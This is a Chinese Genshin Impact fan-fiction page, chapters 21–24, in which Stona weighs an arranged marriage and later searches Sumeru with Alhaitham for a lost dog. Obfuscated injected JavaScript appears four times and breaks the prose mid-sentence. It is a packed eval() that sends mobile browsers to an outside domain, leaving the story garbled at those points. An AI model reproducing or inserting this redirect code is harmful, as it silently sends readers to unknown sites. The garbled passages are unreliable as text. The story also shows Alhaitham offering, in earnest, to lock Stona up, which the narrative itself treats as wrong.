斯托娜的神之眼在她决定与德文森先生结婚之后出现了异常,变成了黑色。 在神之眼发生异常之前,或者说在斯托娜还在对婚约犹豫不决的时候,斯托娜常常做梦。 她的噩梦里总是充满了讨厌的蒲公英、教堂、蒙德广场上的巨大风神像和令人心烦意乱的大风,还有父母虚伪的笑容。 其他的梦里则是大片大片的绿色,是须弥的颜色。艾尔海森会出现在那些绿色的梦里,但艾尔海森没必要知道这一点。 艾尔海森不经常笑,对此有人可能会误以为他不好相处,但斯托娜完全不觉得这有什么。 她已经看腻了父母虚伪的笑容,艾尔海森的表情相比之下要真实得多。 “也许是神之眼察觉到我也决定做像父母那样虚伪的人、投入到一个我并不感兴趣的婚姻中,所以对我感到失望,进而焚烧自己、离我而去了吧。”斯托娜感叹道。 艾尔海森沉默了一会儿,他沉默的时间有点太久了,让斯托娜感到疑惑。 对她来说,她的问题应该不是需要艾尔海森思考这么久才能明白的吧? 也许对方只是无法理解她的行为吧。艾尔海森不会对自己不感兴趣的婚约犹豫不决,就算逼迫他结婚的对象是父母,他大概也会坚持自己的想法,拒绝结婚。 可能艾尔海森只是在考虑该怎么把他的观点尽可能说得委婉一些——这是斯托娜唯一能想到的原因。 “不能和你的父母谈谈吗?”艾尔海森终于开口说道,“如果他们尊重你的话,就不会逼你结婚;如果他们不尊重你,那么你也没有必要向他们妥协。” “我知道,可是……我没办法完全不回应他们对我的期待。”斯托娜低下头。 那毕竟是她的父母,她不确定自己能狠心完全与他们断绝关系。 而父母的态度极为坚定,就算她这次回去之后能够解除婚约(这种可能性微乎其微),回蒙德也意味着继续向父母妥协。 这次是德文森先生,下次可能是其他的单身男性。 就算她对婚约的事情妥协,这之后也一定会其他事需要继续妥协。 这才是斯托娜真正害怕的事,她担心自己的未来会比自己的过去更加痛苦。 “关于要不要回去履行婚约这件事,你还在犹豫吗?”艾尔海森问。 斯托娜点点头:“嗯。我太懦弱了,到现在仍然无法鼓起勇气在寄给父母的信里要求他们解除婚约。” 她知道自己一向软弱,如果从一开始就勇敢反抗父母的话,大概也不会沦落到从家里逃跑。 “在我看来,你只是容易心软而已,”艾尔海森说,“另外,习惯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118092|180005||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 性的自我贬低对于你对自己的客观评价也没有正面的影响——抱歉,我没有资格这样评价你。” “不,我不介意,其实我明白我的烦恼都是自找的,但是我没办法抛下过去的一切不去在乎。” 懦弱也好,容易心软也好,总让她陷入纠结和自苦境地的性格已经伴随了她太多年,即使想要改变也不是一朝一夕的事。 “谢谢你能够告诉我这些。比起安慰,我更需要来自其他人的客观看法。艾尔海森,根据你对我的了解,你认为我最终会选择妥协吗?”斯托娜问。 其实她在开口之前就隐约猜到了对方会给出什么回答,但她希望可以听艾尔海森亲口告诉她。 “我的回答也不是完全客观,另外,我们这些年来的联系并不密切,这会导致我做出与现实不符的判断。” 艾尔海森拒绝回答斯托娜的问题,但斯托娜知道这是因为对方不想说出那个她早就猜到的答案。 “没关系的,我之所以问你,也是因为知道你不会为了安慰我而说出不符合常理的判断,无论你的回答是什么,请告诉我吧。” 斯托娜仍然坚持,希望艾尔海森可以给出明确的回答。 解决问题的第一步是直面问题,她不想再逃避下去了。 艾尔海森看着她,没有立刻开口,好像他还在犹豫到底应不应该说出答案。 对方犹豫的样子很少见,如果他再沉默下去,斯托娜就要因为逼迫对方说出答案而感到不安了。 但艾尔海森最终还是说道:“我目前的判断是,你仍然会选择妥协。” 斯托娜笑着点头:“谢谢你,你的回答和我心中的答案是一致的。” 不够勇敢,太懦弱,总是妥协,斯托娜很清楚自己的缺点,多年来为了维护与家人的关系,她选择忽略,选择对这些问题视而不见。 但是这样不行,她必须努力克服这些缺点,否则她接下来的人生依旧会在痛苦中度过。 “如果你希望我拦住你的话,我会尽力。”艾尔海森忽然说。 “拦住我?你的意思是阻止我回蒙德去吗?还是不让我离开须弥?”斯托娜问。 “就目前的情况而言,‘返回蒙德’和‘离开须弥’导致的会是同一个结果,”艾尔海森说,“所以我倾向于把地点范围限制在须弥以内。” 艾尔海森提出了一个斯托娜从没考虑过的新颖角度,这个建议甚至有些孩子气,让斯托娜忍不住微笑起来。 “如果我要你拦住我的话,你会怎么做?”她问。 “我会尝试任何办法留住你,采取能想到的任何措施,”艾尔海森立刻回答道,“如果有必要的话,可以先强行阻断你离开须弥的路径,再劝说你自愿留下。” “你的意思是,假如我在拜托你拦住我之后又反悔,想要返回蒙德,你依旧会阻止我离开吗?”斯托娜问。 艾尔海森点点头。 “如果我执意要离开呢?难道你会把我锁在房间里禁止我外出吗?”斯托娜觉得有点好笑,她以开玩笑的语气问道。 “‘任何措施’显然也包括这一个措施。” 艾尔海森看起来很认真,并不是在开玩笑,就好像如果她拜托他不要让自己返回蒙德,他就真的会不惜一切代价把她留住。 22. 第 22 章 “谢谢你的好意,但我想最终决定还是要靠我自己来做才可以,”斯托娜笑了笑,拒绝了艾尔海森的建议,“人总要为自己的行为承担后果嘛。” “外界环境会影响人的行为,来自朋友的帮助在一定程度上可以产生正面的效果,”艾尔海森说,“所以我希望你可以认真考虑一下我的提议。” “所以你是想让我拜托你不惜一切代价把我留在须弥吗?”斯托娜笑着问。 “我只是提供建议,决定权在你自己。” 斯托娜的回答与刚才一样,她很感谢他的好意,但仍然拒绝了他的建议。 夜色已深,斯托娜想说的话都说了,今晚关于逃婚的讨论到此结束。 “谢谢你能够听我说这些,晚安。”斯托娜说着站起身。 “等等。”艾尔海森说。 “还有什么事吗?” 斯托娜看着他。 在斯托娜的注视下,艾尔海森感觉嘴唇有点干。 他想请求斯托娜留下来。 既然斯托娜的父母不关心她的幸福,那么她就不要回去了。 至于那个只见过一面的未婚夫,斯托娜对他并没有什么感情,所以更没必要为了他返回蒙德。 艾尔海森很想把这些他从刚才起就努力不让自己说出口的话说出来,但他知道就算自己不说,斯托娜也很明白她目前的处境,他知道就算自己说了,斯托娜也不会因为他的话而改变主意。 另外,在内心深处自私的角落,艾尔海森想说的是,他希望斯托娜可以留下来,可以为了他留下来。 但艾尔海森知道斯托娜不会为了他就留下来。 斯托娜来到须弥是纯属巧合,并不是为了找他。 她不是为了他才来到须弥,自然也不会为了他留在须弥。 他们只是朋友,而且是多年来除了几封言辞冷淡的信件外再无其他联系的朋友。 他想让斯托娜留下来,但他知道自己的请求没有用。 在说出口之前就已经知道不会对现实造成任何影响的话,当然从一开始就没有说出口的必要。 另外,斯托娜处理她自己的事就已经足够为难,不能再拿他的烦恼打扰她。 以上这些想法,都是在艾尔海森冲动开口叫住斯托娜之后出现在他的脑袋里的。 他在说出“等等”之后的零点几秒的时间里,就已经后悔叫住对方了。 “还有什么事吗?”斯托娜看起来已经累了,她的眼睛微微眯了起来,眨眼的速度也比白天时慢了一些。 艾尔海森把发生在脑袋里的风暴封印起来,说:“没什么,谢谢你能够信任我。晚安。” “我当然信任你啦,”斯托娜笑了笑,好像觉得他的道谢莫名其妙,“对了,睡前不要喝咖啡了,会睡不着的。” 艾尔海森非常希望咖啡真的能有足够的功效让自己保持清醒,但“睡眠”是人类在数万年的演变中都没能进化掉的缺陷,仅靠几杯咖啡还不足以与睡眠抗衡。 平时艾尔海森对睡眠的评价其实并没有这么低。 睡眠就像吃饭一样,是维持人体正常运转不可缺少的流程,但今晚他情绪低落,所以在评价睡眠的时候用了更加负面的词汇,即“缺陷”。 当天晚上,艾尔海森不可避免地陷入“睡眠”这一缺陷当中。 梦里,他打开自己卧室的门。 卧室门是锁住的,只能从外面打开,梦里的艾尔海森很清楚这一点。 门无声地打开,斯托娜坐在床上,望着和门一样被从外面锁住的窗户。 他的卧室里没有开灯,太阳很快就要落山,室内比室外要更暗一点。 艾尔海森走进房间。 斯托娜没有转头看他,她仍然看着窗户,说:“我想回蒙德去。” “我答应过你,”梦中的艾尔海森开口说道,“不可以让你回去。” “我反悔了。我收回之前的请求,你让我走吧。”斯托娜站起身,往他的方向走来。 艾尔海森没有说话,但他的态度很明确,是很明确的拒绝。 斯托娜稍微压低了声音,提出了谈判条件:“如果你让我走的话,我可以答应你的任何要求,你想让我做什么都行。” “你提出的所谓条件已经是既定的事实,无法作为条件来与我谈判。”艾尔海森的语气没有丝毫变化。 斯托娜忽然冷笑一声:“既定事实?我答应你的提议的时候并没有意识到你会这么不择手段地留下我。你当初并没有履行如实告知义务,这是欺骗行为,也就意味着我们之前的口头承诺无效,你无权这样对我。” 艾尔海森保持沉默,对方的愤怒像微风吹在一堵墙上,对他毫无影响。 斯托娜靠得更近,抬头看着他的眼睛质问:“艾尔海森,你我都清楚,就算当初我没有拜托你阻拦我,你也会这么做的,不是吗?你不是为了帮我,只是为了你自己而已。” 下一秒,艾尔海森从自己卧室的床上醒来。 阳光透过窗户照射进来,天光大亮,窗外的须弥最常见的天气——晴天。 艾尔海森起身打开窗户,确定了两次窗户可以从室内打开,无法从室外锁住。 梦里的感受太过真实,他不得不依靠像窗户这样与梦境中截然不同的事实来确保自己已经从梦境里逃离。 潜意识里最黑暗自私的部分在梦境里任意妄为,无法明辨是非,把梦随心所欲地扭曲成自己想要的样子,但他才不会不尊重斯托娜的意愿做出梦里那种事。 另外,梦毫无逻辑,漏洞百出,真正的斯托娜才不会像梦里那样说什么“没有履行如实告知义务”这种话,这像是他才会说的话。 尽管如此,梦依旧真实得像曾经发生、或在将来即将发生。 梦里的时间流速与现实不同,一个晚上有时候只来得及做一个梦,有时候则能连续做十几个梦。 斯托娜早上醒来的时候有些头痛,昨晚做了太多梦,感觉很累。 醒来后梦里的具体情形她大多已经记不清了,脑海中只留存了一些混乱的片段。 斯托娜梦到自己和父母吵架,梦到在自己的婚礼上推倒了婚礼蛋糕,还梦到和艾尔海森进行七圣召唤的对局,自己竟然赢了。 荒唐。 虽然这些事如果真的发生,大概会很有趣。 但还是很荒唐。 艾尔海森看起来也没有睡好,所以今天早上家里格外安静,两个人互相道过早安之后就没什么话了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118093|180005||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他们一起去餐馆吃早饭,因为想说的话昨晚都说了,他们在餐桌上一时找不到什么话题,斯托娜看对方也没什么聊天的兴致,所以继续保持沉默。 斯托娜不喜欢喝咖啡,但昨晚没有睡好,她现在很困。为了不在工作时打瞌睡,斯托娜给自己点了一杯咖啡,加了三勺糖。 吃过早餐后他们在餐馆分手,各自去工作。 今天玩具摊位的生意依旧火爆,已经好多天没有收摊休息的摊主依旧热情高涨,凭借着对兰那罗和木雕的喜爱,摊主整天埋头于创作当中,不知疲倦。 昨天新制作的木雕很快就卖光了,斯托娜登记下没能买到木雕的客人的信息,并告知客人们来取预订木雕的日期。 登记完最后一个客人的信息之后,斯托娜把长长的清单收好,正想休息一下,从路的一端传来了焦急的喊声: “小狗,我亲爱的小狗你去了哪里?如果找不到你的话,我的人生还有什么意义?如果家里失去了你的狗毛、你的可爱叫声和你的可爱耳朵、可爱尾巴,那么我努力写论文还有什么意义?我特意为你买的狗粮又还能由谁来享用?不要离我而去啊小狗!” 这个声音从路的尽头传了过来,没有一句重复,听得出来声音的主人很着急,但并没有因为恐慌就失去对语言的运用能力,倒不如说恐慌反而提高了他对语言的应用能力。 称呼自己家小狗为“小狗”的,全须弥城可能不只一个人,但既称呼自家小狗为“小狗”又能如此出口成章的人,恐怕全须弥城就只有那一个了。 小狗的主人,也就是之前委托斯托娜帮忙遛狗的那位,一脸焦急地走近玩具摊位。 “不好意思打扰了,请问您有没有……欸?是斯托娜小姐吗?是斯托娜小姐啊,好巧!您有看到我家小狗从您面前跑过去吗?” “没有呢。小狗不见了吗?” “是啊,小狗失踪了!” “失踪了?是今天早上不见的吗?” “确切时间我记不清了,但应该不是今天早上,”小狗主人说,“是这样的,昨天晚上为了庆祝我终于完成了论文,我在家举办了派对,可能在派对期间有客人忘记关门,小狗自己跑出去了!” 对方越说越激动,眼泪已经在眼眶里打转。 “你不要着急,小狗记得回家的路吗?”斯托娜问。 小狗主人点点头:“记得的,我因为担心会发生这种事,所以特意训练过小狗,它可以自己回家。昨天晚上我喝醉了,连派对是什么时候结束的都不知道,第二天早上醒来就发现小狗不见了。如果它是昨晚自己离开了家,现在也应该回来了!” 小狗虽然活泼,但是很听话,每次斯托娜去委托人家里接它的时候,小狗都会疯狂摇尾巴欢迎她。 如果小狗自己记得回家的路的话,现在这个时候,的确早就应该自己回家去了。 “会不会是迷路了?”斯托娜说。 “不知道哇,可是小狗很聪明的,应该不会迷路才对。小狗不会是离家出走了吧?不要啊,一定是它看我这些天一直忙着写论文冷落了它,所以才从家里跑出去的!小狗,小狗!没有你我可怎么活啊!已经失去继续生活下去的勇气了!”小狗主人发出绝望的呐喊。 23. 第 23 章 委托人已经处在破音的边缘,但仍在努力推测着小狗的下落。 昨天还想拥抱全世界的委托人一觉醒来发现自己失去了比全世界还要重要的小狗,这样冰火两重天的巨大反差,换作是谁也很难轻易接受。 连摊主都被小狗主人的哭声惊动,放下雕刻工具,手忙脚乱地找了纸巾塞到小狗主人手里。 “你别哭了,我们帮你一起找吧。”摊主说。 “这怎么行?你们还要做生意呢。” “没关系,木雕已经卖光了,而且你一直在摊位前面哭,把客人都吓跑了。” 摊主在与人交流方面,也不能说是存在问题,但她说话比较直,想到什么就说什么,所以这次她也没多想就把心里话说了出来。 小狗主人愣了愣,随即哭得更厉害了:“谢谢,谢谢你们!你们真的是好人!” 玩具摊位位于须弥城南侧,他们的计划是先在须弥城内寻找小狗,所以三个人各自选了一个方向,玩具摊主往东寻找,小狗主人往西,斯托娜往北,约定两小时后回到摊位会合。 斯托娜沿着路往北走,边走边四处询问路人有没有见过小狗。 拐过几个弯之后,斯托娜看着眼前陌生的街道,心里升起一个不祥的预感。 好像迷路了。 她沿着来时的路往回走,想要原路返回,但来时的路看起来也十分陌生。 又经过几个拐角之后,斯托娜彻底迷路了。 但好在只是在须弥城里迷路,到处都是人,所以不像之前在道成林里迷路那样危急,斯托娜索性不找人问路,沿途继续寻找小狗。 须弥的生态很好,野生动物很多,即使在须弥城中也能偶遇羽毛艳丽的小鸟、动作敏捷的松鼠和神态悠闲的野鸭。 斯托娜一路走来和很多动物偶遇,但就是没有找到委托人的小狗。 沿着路绕来绕去,斯托娜发现自己回到了熟悉的宝商街,沿着上行的路继续走就是艾尔海森的家了。 她在宝商街附近找了找,没有找到小狗,就回到玩具摊位与其他两个人会合。 当斯托娜回到玩具摊位的时候,小狗主人和玩具摊主已经等在那里了。 小狗主人正用纸巾捂着脸失声痛哭,摊主正拍着他的后背安慰他。 看来他们两个也没找到小狗。 摊主看到斯托娜回来,压低了声音问:“怎么样怎么样?” 斯托娜摇摇头:“抱歉,没找到。” 两个人一起无奈地看着小狗主人失声痛哭。 “出什么事了吗?”艾尔海森从与斯托娜相反的方向走了过来,他看了一眼正在痛哭的委托人,推测道,“摊位出什么问题了?” “不是,是这位委托人的狗失踪了,我们在须弥城里没有找到,可能跑出城去了吧。”斯托娜说。 光是在须弥城里寻找就已经很有难度了,如果小狗跑到了须弥城外,外面的地形更加复杂,想在原始丛林一样的须弥找一只小狗又谈何容易。 委托人忽然止住哭泣,抬起头看了一眼手表,然后发出一声哀嚎:“已经中午了,距离我发现小狗失踪已经过去了五个小时,马上就要错过最佳寻踪时间了,完蛋了!我的世界彻底崩塌了!” 艾尔海森看着他哭得昏天黑地,认为这个人现在无法平静回答他的问题,所以转向斯托娜和摊主问道:“你们已经把须弥城内的地方都找过一遍了吗?” “嗯,我们都找过一遍了,没有,”摊主说着看向斯托娜,“你那边呢?” “也没有。” 小狗主人发出一声类似小狗的呜咽,喃喃着什么“没有你我可怎么活啊”一类的话。 “既然在城内找不到,现在去城外找吗?”摊主问。 “不知道失踪者大致去向的话,我不建议盲目寻找。如果能先找到相关线索、确定一个大致方向,大概还有找到的可能。”艾尔海森说。 “可能?!仅仅只是可能吗?!!小狗,我不能没有你啊!”小狗主人继续哀嚎。 “对了,你昨天晚上举办派对的话,一定有很多人在场吧?我们可以去问问他们有没有人见过小狗。”斯托娜提议。 “对啊!你说得对啊!”小狗主人移开了捂在脸上的纸巾,眼睛里重新有了光芒,“可以去问他们!” “是个不错的主意,但如果他们只是目击到失踪者离开家的话,恐怕还不足以提供明确的线索,你最好不要抱有太大希望。”艾尔海森冷静地泼了小狗主人一桶冷水。 “不管能不能找到线索,总要去试一试。”斯托娜说。 他们四个人分成三组,斯托娜因为对须弥不够熟悉,所以和艾尔海森是一组,其他两人各自成组。 小狗主人流着眼泪把昨晚参加派对的人员名单和他们家庭住址、经常出现的地点写下来,计划一个个找过去询问昨晚的情况。 “那么,全部问完之后是到玩具摊位集合还是在我家集合?”小狗主人稍微振作起来,问道。 “还是在你家吧,否则如果小狗在这期间自己回来的话,可能会恰好错过。”摊主建议说。 “好,那么就这么决定了,大家分头行动,全部问完之后在我家集合,大家辛苦了!” 昨晚来参加派对的人大多住在须弥城内,也有少数人住在城外。要做到最高效率地寻找线索的话,先把住在城内的人都问一遍,再去城外寻找其他人是最好的选择。 “他家的狗没有名字吗?”路上,艾尔海森问。 斯托娜解释说狗的名字就叫小狗,是小狗主人特意给取的。 艾尔海森点点头:“我明白了。另外,你的伤没事吧?你已经找了一上午,如果累了的话,我可以自己去找线索。” “我的伤早就没事了,不用担心。啊,就是这里吧。” 他们停在了一户人家的门口,斯托娜按响了门铃。 过了大约五分钟后才有人来开门。 来开门的人顶着乱糟糟的头发,一副宿醉的样子,他眼睛还没睁开,趴在门框上愁眉苦脸地问:“有什么事吗?” “是法尔博先生吗?”斯托娜问。 趴在门框上的法尔博勉强把眼睛睁开一条缝,点点头,然后因为点头造成的头晕目眩又闭上了眼睛:“是我。你们有什么事吗?” “昨晚你参加派对期间有没有看到小狗离开家?”艾尔海森说。 法尔博的视线从斯托娜转移到了艾尔海森身上。 他的理解能力被酒精影响,反应迟钝。他看着艾尔海森,好像在思考他说的话是什么意思。 艾尔海森正要再重复一遍,法尔博忽然睁大了眼睛,说:“你是大书记官?是吧,是大书记官吧? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118094|180005||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 法尔博一下子站直了:“我、我应该没有犯什么错吧?派对……啊,昨天的派对是很健康的派对,是我朋友为了庆祝论文终于写完才举办的,这种派对最近很流行的。” “你应该是把大书记官和大风纪官搞混了,”艾尔海森说,“我不清楚昨晚派对的情况,也不感兴趣,我们只是来问你昨晚有没有在派对上看到小狗。” 法尔博松了一口气,但仍然有些不安,他抬头回想了一下,说:“应该没有吧,至少我不记得。反正我在喝醉之前没有见过小狗,但喝醉之后的事我就不记得了。” 从法尔博这里没能得到线索,他们又去找名单上的第二个人。然后是第三个、第四个…… 所有人都是一副被宿醉折磨的样子,大多数人的回答都是“没看到”或是“记不清了”,只有其中一个人的头发相对来说还没那么乱,看得出来在给斯托娜和艾尔海森开门之前稍微收拾了一下外表,她看起来也不像其他人那么头疼。 “我记得我昨天晚上和小狗玩了一会儿,我喂它吃了一点水果。” “大概是什么时候?” “嗯……应该是在晚上十点之前吧?我是夜猫子,到晚上十点后才会变得精神焕发,我印象中在喂小狗的时候我还没什么精神呢。” 总之,根据走访调查,小狗在昨天晚上十点钟之前还没有离开家。 问了这么多人,竟然只找到了这一条线索,而且是一条没什么用的线索,斯托娜有些沮丧。 “要不要休息一会儿?”艾尔海森问。 “不用了,快点回去吧,也许他们两个找到了有用的线索……”斯托娜忽然意识到对方可能是累了,想休息一下,于是急忙改口:“我的意思是,如果你累了的话,当然可以——” “我不累。你的伤没事吧?” “没事,真的没事。” “那我们回去吧。” 回到小狗主人的家门口,小狗主人还没有回来,只有玩具摊主坐在台阶上愁容满面。 “什么线索都没问到。所有人都说不记得或是没有注意。还有两个人我没能找到,我去了他们的家,但按门铃没人来开门,去他们常去的地方也没找到人,晚些时候我会再去找找看的。”摊主几句话分享完了她的收获。 他们三个人又等了一会儿,小狗主人气喘吁吁地跑了过来,一脸激动地说:“我、我问到了,有人目击到了小狗出门!” 艾尔海森问:“时间大约是几点钟?” “不知道。” “那个人有没有看到小狗往那个方向走了?” “没有。他只是迷迷糊糊看到小狗出门去了,本来想追过去看看的,但因为醉得实在太厉害,所以刚起身就倒了,连后来怎么回的家都不知道。” “好的。鉴于小狗离开家是既定事实,你提供的线索并没有帮助。”艾尔海森总结道。 小狗主人发出一声难以用文字表达的悲鸣,问:“那你们有没有找到线索?” 四个人找到的线索汇总在一起,他们目前知道的只有,小狗的确从家里跑出去了,并且小狗离家的时间是晚上十点之后。 “线索太少了,根本找不到吧?小狗啊,没有你我可怎么——” “等一下,”艾尔海森打断了小狗主人的悲鸣,“告诉我你平时遛狗的路线。” 24.第 24 章 “啊?哦。一般来说我懒得走太远,所以都是在须弥城内带小狗散步,有时候时间充足的话,也会带它去城外走走。”小狗主人说。 斯托娜这几天也是基本带小狗在须弥城内散步,只有一次因为不想回家面对艾尔海森,所以她绕着须弥城走了好几圈,但也没有离须弥城太远。 “那么基本可以确定它对须弥城外的情况不熟,正常来说应该不会跑到城外去。但既然须弥城中你们都找过了也没发现它的踪迹……”艾尔海森说,“我的建议是,张贴寻狗启示。” 小狗主人对他的建议感到十分慌张:“张贴寻狗启示?那我们就不继续找下去了吗?小狗回不来了吗?不要哇,没有小狗我可怎么继续生活啊!小狗,我不能没有你——” “我没有说不继续找,只是建议张贴寻狗启示而已。”艾尔海森说。 “好吧……那我现在就去制作启示。” “已经找了一天,大家都累了,启示就等明天再做吧。” “不,我想尽快找到小狗。” “请便。”艾尔海森没有继续劝说,他转向斯托娜:“回家吧。” 斯托娜有些不忍心地看着小狗主人,想继续帮忙找。 “我不认为就这样找下去会有太大的帮助,”艾尔海森说,“而且我也不建议你在伤还没有完全康复之前这样透支身体。” “可是——” 小狗主人擦了擦湿润的眼睛,说:“这位先生说得没错,大家找了一天已经很累了,请回去休息吧,谢谢你们!我代表小狗向你们致以最崇高的敬意!” 倒也没必要这么夸张。 与小狗主人道别之后,斯托娜和艾尔海森到常去的餐馆吃晚饭,从餐馆出来路过港口的时候,艾尔海森建议今晚的钓鱼活动还是取消比较好。 对此斯托娜没有异议,她确实累了,现在不想钓鱼,只想回家睡觉。 一艘商船缓缓靠近码头停了下来。商船降下舷梯,乘客们提着大大小小的行李下了甲板,与在港口等待自己的朋友/家人/同事会合。 斯托娜想起自己刚到须弥城的时候,为了躲开艾尔海森,曾经拖着受伤的腿来到港口,企图乘船逃跑,但还没来得及上船就被艾尔海森找到。 她当时之所以想要乘船逃走,就是因为乘船是能最快远离须弥城的办法。 如果小狗不小心跑到了船上、船又开走了的话,他们继续在须弥城里找下去也找不到它啊。 “在想什么?”斯托娜看着港口发呆的时候,艾尔海森问。 她刚才忽然停下脚步,所以与艾尔海森拉开了距离,两个人之间隔了几步路。 从水面上吹来一阵温热的风,裹挟着须弥城中香料的气味慵懒地扑面而来。 斯托娜当初随同父母离开须弥的时候也是乘船,不过那时他们是从奥摩斯港出发,而不是从须弥城的港口。 十岁的艾尔海森站在岸边目送她离开的时候,水面上也起了一阵风。 斯托娜站在甲板上用力挥手,风把她的话吹来吹去,也不知道艾尔海森有没有听到。 “一定要给我写信!别忘记我!” 因为距离太远,又是逆风向,斯托娜没有听到岸边艾尔海森的回答。 他只是一个人站在那里,像一株小树,直到船驶离港口也没有离开。 十岁的艾尔海森比她要矮一点,这么多年过去,对方已经比她高了。 树虽然长高了,但还是当年那棵树。 斯托娜愣了愣神,才从回忆里脱离出来,说:“我只是在想,小狗有没有可能跑到其中一艘船上去了?” “不排除这个可能。但是你已经找了一天,今晚先回去休息吧,等明天再继续调查。” “过了今晚,小狗就失踪一整天了,之后寻找难度会更大的,还是现在就去港口调查一下吧。” “如果我建议由我单独去港口调查、你回家休息的话,你会生气吗?”艾尔海森问。 斯托娜:“不会,但我也不会采纳你的建议。” 艾尔海森叹了口气:“那就走吧。” 从船上下来的乘客还没有全部散去,港口很热闹,沿岸兜售旅行纪念品和遮阳伞的商贩热情地推销着自己的商品。 斯托娜和艾尔海森首先找上了一个没在忙工作的渔人打扮的人,对方正双手叉腰举目远眺。 斯托娜向这个人描述了小狗的长相,问他有没有在港口附近看到这只小狗。 对方回想了一下,然后给出了否定的答案。 第一次尝试以失败告终,但斯托娜没有放弃,决定再多问几个人。 “我们分开问吧,一小时后在这里会合。”斯托娜提议。他们两个人一起问当然不如分头行动的效率高。 但艾尔海森没有立刻同意。 “半小时,”艾尔海森说,“半小时后就在这里会合。” 斯托娜:“那……四十五分钟可以吗?” 艾尔海森:“半小时。” 斯托娜:“四十分钟?” “二十分钟。”艾尔海森说。 “好吧好吧,那就半小时。” 一番讨价还价过后,两个人达成一致,分开寻找线索,半小时在这里会合。 斯托娜在能看到船只进出港口的区域寻找可能的目击者,她首先找到了一个站在岸边手持鱼竿的人,经过询问,对方一整天都在这里钓鱼。 斯托娜向对方描述了小狗的特征,并且把小狗失踪的大致时间也告诉了对方。 “不知道您在这附近钓鱼的时候有没有碰巧见过它?” 钓鱼人回想了一下,摇了摇头:“抱歉,港口附近来往的行人很多,我没有留意。不过如果你问我在这里能钓到什么鱼的话,我倒是很乐意为你解答。” “好吧,还是谢谢你。” “不客气,如果没有其他事的话,我就继续钓鱼了。” “那个,顺便问一下,在这附近钓到暮云角鲀的可能性大吗?”斯托娜问。 “暮云角鲀啊……在港口的水域里倒是有分布的,不过我的建议是去降诸魔山那边,在降诸魔山钓到暮云角鲀的几率更大一些,因为那边不像港口这里有这么多人,暮云角鲀喜欢清净,所以在降诸魔山繁殖得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16124097|180005||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更多。” “降诸魔山……好的,我记下了,谢谢你。祝你钓鱼愉快。” 第二个人不是斯托娜主动找的,对方是在斯托娜寻找可能的目击者的时候主动走过来找了她。 “欢迎来到须弥!刚下船吗?客人一定累了吧?您的行李在哪里?请把行李交给我吧,我带您到我们旅店休息。我们的旅店是须弥的五星级旅店,谁住了都说好,不好不要钱!” 对方的热情像一股热浪扑面而来,非常具有须弥特色。 “抱歉,我不是游客,我是来找委托人走丢的小狗的。” 斯托娜向对方解释了自己的来意,并描述了小狗的外貌。 “不知道您在这附近有没有见过它?” 得知斯托娜不打算住旅店,对方有些失落,但仍然回答了斯托娜的问题:“没有见过呢。我大概半小时前才刚刚来港口寻找住店的旅客,今天我没有看到港口有小狗出没。至于昨天,我晚上九点就下班了,那之前我也没有发现你说的小狗,九点之后的事我就不清楚了。” “好吧,还是谢谢您。” “不客气,不过如果您以后有住旅店的需求,请考虑我们的旅店哦!” 之后斯托娜又找了几个在港口附近活动的人,向他们打听小狗的消息,但没有找到线索。 她询问的其中一个人是位热情的商贩,在斯托娜的询问过程中,对方一直见缝插针地向她推销自己售卖的护身符。斯托娜不好意思拒绝,就买了一个。 半小时的时间很快就过去了,斯托娜带着唯一的收获护身符去刚才约好的地方与艾尔海森会合。 她比约定的时间晚到了几分钟,当她回到约定地点的时候,艾尔海森已经等在那里了。 艾尔海森看起来有点疲惫,他微低着头,正在揉眉心。 斯托娜刚刚被护身符压下去的愧疚感此刻又涌了上来。 艾尔海森帮忙找了小狗大半天,一直没有休息。 是因为她执意要尽快找到小狗,他才会陪自己在港口寻找目击者,但小狗跑到了即将离港的船上只是个假设而已,为了一个假设让对方这么辛苦,实在是…… 斯托娜把护身符塞进口袋,往艾尔海森的方向走去。 “抱歉,我来晚了,因为想多问几个人,所以多花了些时间。” “没关系。找到目击者了吗?” 